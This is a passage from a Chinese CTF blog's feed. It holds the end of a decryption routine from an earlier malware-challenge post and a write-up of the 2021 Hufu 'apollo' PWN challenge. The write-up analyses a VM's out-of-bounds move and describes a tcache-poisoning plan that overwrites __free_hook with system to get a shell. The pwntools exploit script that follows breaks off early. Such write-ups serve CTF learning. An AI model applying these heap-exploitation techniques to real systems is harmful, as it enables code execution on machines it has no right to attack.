&lt;&#x2F;span&gt;&lt;span&gt;	byte buffer[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x30&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;while&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;TRUE&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;fread&lt;&#x2F;span&gt;&lt;span&gt;(buffer, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, l, fp_in);
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span&gt;a)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;		CryptDecrypt(hkey, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;, buffer, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;l);
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;fwrite&lt;&#x2F;span&gt;&lt;span&gt;(buffer,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,l,fp_out);
&lt;&#x2F;span&gt;&lt;span&gt;	}
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;fclose&lt;&#x2F;span&gt;&lt;span&gt;(fp_in);
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;fclose&lt;&#x2F;span&gt;&lt;span&gt;(fp_out);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;CHTB{3nh4nc3d_al1en_m@lwar3!}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>2021虎符-PWN-apollo题解</title>
        <published>2021-04-04T00:00:00+00:00</published>
        <updated>2021-04-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/pwn-apollo-wp/"/>
        <id>https://richar.top/pwn-apollo-wp/</id>
        
        <content type="html" xml:base="https://richar.top/pwn-apollo-wp/">&lt;p&gt;这次比赛又爆零了，本来这道题是能够做出来的，就是因为大量时间花在的逆向分析上。一开始拿IDA反汇编，生成的伪代码程序逻辑都读不懂，然后开始直接看汇编了。后来试了一下&lt;code&gt;ghidra&lt;&#x2F;code&gt;效果好很多，能分析完这道题vm，就已经来不及了。平时应该多练练非&lt;code&gt;x86&lt;&#x2F;code&gt;或&lt;code&gt;i386&lt;&#x2F;code&gt;架构的题。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;ghidra&lt;&#x2F;code&gt;和&lt;code&gt;IDA&lt;&#x2F;code&gt;生成的伪代码的对比图(IDA里的那行&lt;code&gt;BR X0&lt;&#x2F;code&gt;完全不知道跳哪去)：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;pwn-apollo-wp&#x2F;.&#x2F;IDAghidra.png&quot; alt=&quot;IDAghidra&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ti-mu-fen-xi&quot;&gt;题目分析&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;main&lt;&#x2F;code&gt;函数执行一些初始化操作后就读入了长度为&lt;code&gt;0x1000&lt;&#x2F;code&gt;的虚拟机的字节码，然后开始运行，即上图的&lt;code&gt;jump&lt;&#x2F;code&gt;函数。将输入的字符通过&lt;code&gt;op_table&lt;&#x2F;code&gt;查找对应的&lt;code&gt;jump_table&lt;&#x2F;code&gt;的编号进行跳转。&lt;code&gt;op_table&lt;&#x2F;code&gt;如图：&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;pwn-apollo-wp&#x2F;.&#x2F;optable.png&quot; alt=&quot;optable&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;jump_table&lt;&#x2F;code&gt;12个函数：&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;pwn-apollo-wp&#x2F;.&#x2F;jumptable.png&quot; alt=&quot;jumptable&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;startrun&quot;&gt;startrun&lt;&#x2F;h2&gt;
&lt;p&gt;开始运行，有长宽两个参数，会先后通过&lt;code&gt;calloc&lt;&#x2F;code&gt;创建&lt;code&gt;flag_table&lt;&#x2F;code&gt;和&lt;code&gt;time_table&lt;&#x2F;code&gt;。&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;pwn-apollo-wp&#x2F;.&#x2F;startrun.png&quot; alt=&quot;startrun&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;add-free-print-comment&quot;&gt;add&#x2F;free&#x2F;print comment&lt;&#x2F;h2&gt;
&lt;p&gt;我的理解是给一个格子添加或删除上一个注释？&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;addcomment&lt;&#x2F;code&gt;有三个参数，分别是格子的坐标和要开辟空间的大小。然后内容是之后通过&lt;code&gt;read&lt;&#x2F;code&gt;函数读入的。&lt;code&gt;flag_table&lt;&#x2F;code&gt;的对应位置是改为1，并把&lt;code&gt;malloc&lt;&#x2F;code&gt;出来的空间存到&lt;code&gt;comment_ptr_array&lt;&#x2F;code&gt;里。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;freecomment&lt;&#x2F;code&gt;两个参数为坐标。会&lt;code&gt;free&lt;&#x2F;code&gt;对应的空间，同时指针清理，没有UAF。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;printcomment&lt;&#x2F;code&gt;会把当前存在的所有comment通过&lt;code&gt;puts&lt;&#x2F;code&gt;函数输出。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;pwn-apollo-wp&#x2F;.&#x2F;comment.png&quot; alt=&quot;comment&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;set-clear-flag&quot;&gt;set&#x2F;clear flag&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;setflag&lt;&#x2F;code&gt;会把&lt;code&gt;flag_table&lt;&#x2F;code&gt;对应位置的&lt;code&gt;flag&lt;&#x2F;code&gt;设置为2~4的指定值&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;clearflag&lt;&#x2F;code&gt;会把对应位置设为0&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;pwn-apollo-wp&#x2F;.&#x2F;setflag.png&quot; alt=&quot;setflag&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;up-down-left-right&quot;&gt;up&#x2F;down&#x2F;left&#x2F;right&lt;&#x2F;h2&gt;
&lt;p&gt;拿&lt;code&gt;up&lt;&#x2F;code&gt;函数举例，其它方向同理。先看当前位置是否在顶部，然后判断上方格子的&lt;code&gt;flag&lt;&#x2F;code&gt;是否为0或2或3，若为0则向上移一格，为2或3则向上移两格。但是此处移两个可能会导致越界。&lt;&#x2F;p&gt;
&lt;p&gt;同时移动后会在&lt;code&gt;time_table&lt;&#x2F;code&gt;上记录下当前的步骤数。可以配合越界，到达在其它区块上写入的效果。&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;pwn-apollo-wp&#x2F;.&#x2F;up.png&quot; alt=&quot;up&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;nop-finish&quot;&gt;nop&#x2F;finish&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;finish&lt;&#x2F;code&gt;输出finish并退出&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;nop&lt;&#x2F;code&gt;跳过该机器码&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;li-yong-si-lu&quot;&gt;利用思路&lt;&#x2F;h1&gt;
&lt;p&gt;题目给的是&lt;code&gt;2.27-3ubuntu1&lt;&#x2F;code&gt;的glibc。思路如下:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;先开一个较大的空间将其放入bins中，再开&lt;code&gt;0x10&lt;&#x2F;code&gt;的大小通过利用&lt;code&gt;read&lt;&#x2F;code&gt;函数不会在结尾加上\0的特性泄露出libc的偏移&lt;&#x2F;li&gt;
&lt;li&gt;再开一个&lt;code&gt;0x60&lt;&#x2F;code&gt;的空间，再通过移动的越界将&lt;code&gt;0x10&lt;&#x2F;code&gt;的区块的&lt;code&gt;size&lt;&#x2F;code&gt;改成&lt;code&gt;0x91&lt;&#x2F;code&gt;即将上面的&lt;code&gt;0x60&lt;&#x2F;code&gt;区块完全覆盖&lt;&#x2F;li&gt;
&lt;li&gt;释放&lt;code&gt;0x60&lt;&#x2F;code&gt;的区块，进入&lt;code&gt;tcache&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;释放并重新申请刚才改过大小的区块，通过溢出将&lt;code&gt;0x60&lt;&#x2F;code&gt;的区块的&lt;code&gt;next&lt;&#x2F;code&gt;指针改成&lt;code&gt;__free_hook&lt;&#x2F;code&gt;的地址&lt;&#x2F;li&gt;
&lt;li&gt;重新开两个&lt;code&gt;0x60&lt;&#x2F;code&gt;的空间，第二个就会在&lt;code&gt;__free_hook&lt;&#x2F;code&gt;，写入&lt;code&gt;system&lt;&#x2F;code&gt;函数的地址&lt;&#x2F;li&gt;
&lt;li&gt;释放一个内容为&lt;code&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;code&gt;的区块&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;exploit&quot;&gt;Exploit&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;typing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Union
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;IdaManage &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.rop &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.context &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.fmtstr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.util.packing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;context.log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;debug&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;context.binary&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;apollo&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;DEBUG&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;IDA&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;choice_array&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;,
